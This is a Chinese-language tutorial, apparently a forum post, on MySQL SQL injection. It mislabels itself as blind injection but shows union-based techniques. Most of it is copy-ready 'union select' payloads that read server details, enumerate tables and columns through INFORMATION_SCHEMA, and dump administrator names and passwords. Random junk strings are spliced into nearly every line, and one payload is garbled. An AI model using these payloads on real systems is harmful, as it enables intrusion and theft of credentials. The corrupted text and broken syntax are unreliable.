本文介绍MYSQL盲注的一些语句和方法
, F1 G! j3 J& m1 |( A# g S7 S( `7 v
学习盲注前先了解下 IFORMATION_SCHEMA 库
, u) |3 |5 R6 U7 S) m/ @; W3 q. b: E! j. ^8 _0 Y
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
) b) x7 G, X |2 B( }- [9 N* w6 C* s存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。+ z6 c1 W4 P3 C; Z4 C4 j% F8 A3 l
1.得到所有数据库名:: q9 h2 E" s' P3 K
|SCHEMATA ->存储数据库名的表
8 j$ K0 d+ ]5 I4 o|---字段:SCHEMA_NAME ->数据库名称% Q: l4 t* C, k& l! F/ p3 T; y" k
* f2 s* ?4 J) X# q1 y* ~* P" D|TABLES ->存储表名
$ B( l/ B0 e* v% I" S|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名- B, O5 U0 ?* g- o) A: x3 N/ [" c8 |
|---字段:TABLE_NAME ->存储表的表名' k1 H( X2 I& x; q7 [& `
0 ~6 S* ~5 P3 J|COLUMNS ->存储的字段名表2 i3 a; K) Q+ k% Y- g6 g
|---字段:TABLE_SCHEMA ->该字段所属数据库名
) e$ k n5 X, Y+ T8 r4 n0 U|---字段:TABLE_NAME ->存储所属表的名称
# Y- B- `+ f5 Z8 p7 x4 i" p
, R! h" n/ I8 w a7 o; v; y8 l|---字段:COLUMN_NAME ->该字段的名称3 x" R3 F e# |; V1 R! Q
1 V' |( q, C' w; S- W" H
3 W1 D% ]- O7 F* I9 B- R
8 h; P7 y: Q% A9 \###########################################################################& l; F! H, ^0 @7 p9 T
. S' T3 g9 w4 j7 v+ F; n
0x001 获取系统信息:
/ H7 x0 w' D. q p$ l( W% Y2 q
5 G0 {, J4 ^7 gunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
8 l/ B* _, F" v. B5 O+ `+ U$ L, e/ W! B4 I7 t" g0 H9 e
/*
$ F% W5 Y. p4 @' \ i
0 ?8 _# `: a+ T@@global.version_compile_os 获取系统版本& j% }9 i1 s; I
" J* J3 ]4 z4 U: @% A
@@datadir 数据库路径) @4 N* T/ u# d+ k, i: U
database() 当前数据库名称* l% P6 g) v+ F4 i7 k9 n0 n
0x3c62723e 换行HEX值! t/ r: `8 q/ w3 K& {
, `* |- b g( C) ~*/
( j' M9 X0 c8 o. @- r6 t* I( Z/ @. @1 z. t: J% K$ B
( P; c+ c+ k* R& w5 u8 \
. K* K% f& [9 o3 w1 ~# A( ~' @3 p# u######################################################################
& O$ E6 M/ e; I1 R- u! J, n8 a% _3 S3 o' e5 I6 Y$ E1 e2 C$ ]
0x002 获取表名6 ] B- q5 C3 X
8 E g1 x8 s. B% Hunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*: V6 E, Z$ o7 G1 _0 Q
' v8 b1 f, _ |; C O, w
0 l( o" X0 }$ c5 w
/ M/ |. E G+ g$ A# s
/*: [, a8 D O% ^" p9 S' `
# D8 q0 U$ B+ D6 _; ~0 V6 L8 I( i- S
0x67617264656e 为当前数据库名) [# [6 s. l' `" f; p: F
; }+ f# g1 `9 X1 U& M* N
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
* Y2 L8 O# p* i7 J3 n
8 s0 W/ t: }" h1 T& J*/8 p, @9 B2 i D0 \8 _8 r
' B9 p5 n# Y; E. m. M5 G# V
######################################################################
H/ m: P! U$ }+ x
0 \) k2 Z! P u% } ) k/ g+ N* e: @4 b+ r3 Z: z7 Y
6 D$ z" ^$ r5 l% b: q. N8 i
0x003 获取字段
1 V {. v$ E, z- L- p2 C( L/ a% K1 G+ Q1 ^( E1 k8 _9 E6 O
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*$ e: M) i% M1 [: x
; E) y. o8 U, f8 i2 ?/ H
/*% b, O% t8 i# }
) P+ o: S3 t( H+ f$ V/ L
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
0 C) z2 W2 T% n6 k$ G
5 b- T6 Q0 t# L6 f P3 Y+ |0x61646d696e ->选择一个表) |$ L8 z) v8 Q
: ]" P2 a3 e* t0x67617264656e ->数据库名
- G1 f3 M% K" W J; P; d6 Y. e) ~( ]/ }: y3 x9 h* Q: V2 h- j
*/+ T% z8 Z0 x; \0 Q# O5 C
7 @: `5 G( V; H: a
#####################################################################
! s& q0 P4 s ?: d8 j! ~5 x: R1 z9 m/ J; P7 y- K
1 j, l4 i7 }+ W
+ e% U1 V W3 c& k, z, K+ I0x004 获取数据5 e3 e: i# c0 I: |- \/ t
: p: v5 P4 Q Q, S& R) o
union select 1,2,3
% x5 F; y6 z! |2 h,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin( C l% m7 J" M; d# Y
+ c2 W# @' b; x( z
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
3 o/ n+ J9 ~4 @ g- u4 W
. Z. A) e3 i1 ?' `* | v- i
4 {4 s; E D0 ]6 H$ T
" a- y! r7 `& A; L' W" I! ~3 {/*# i8 J, v0 h' N! o- `4 _* {
. }0 ~ \9 y; X0x3c62723e 换行符号HEX编码/ ]. w7 Y2 O' `3 a7 u0 q
9 z+ Q. r* q, | v2 K; R3 E- ogroup_concat 同时获得该字段所有数据
d& l* h5 q# w8 F
5 |! I) s( B* w5 Z*/
8 |# A0 V& y0 e
' k1 o0 R% {$ k! d |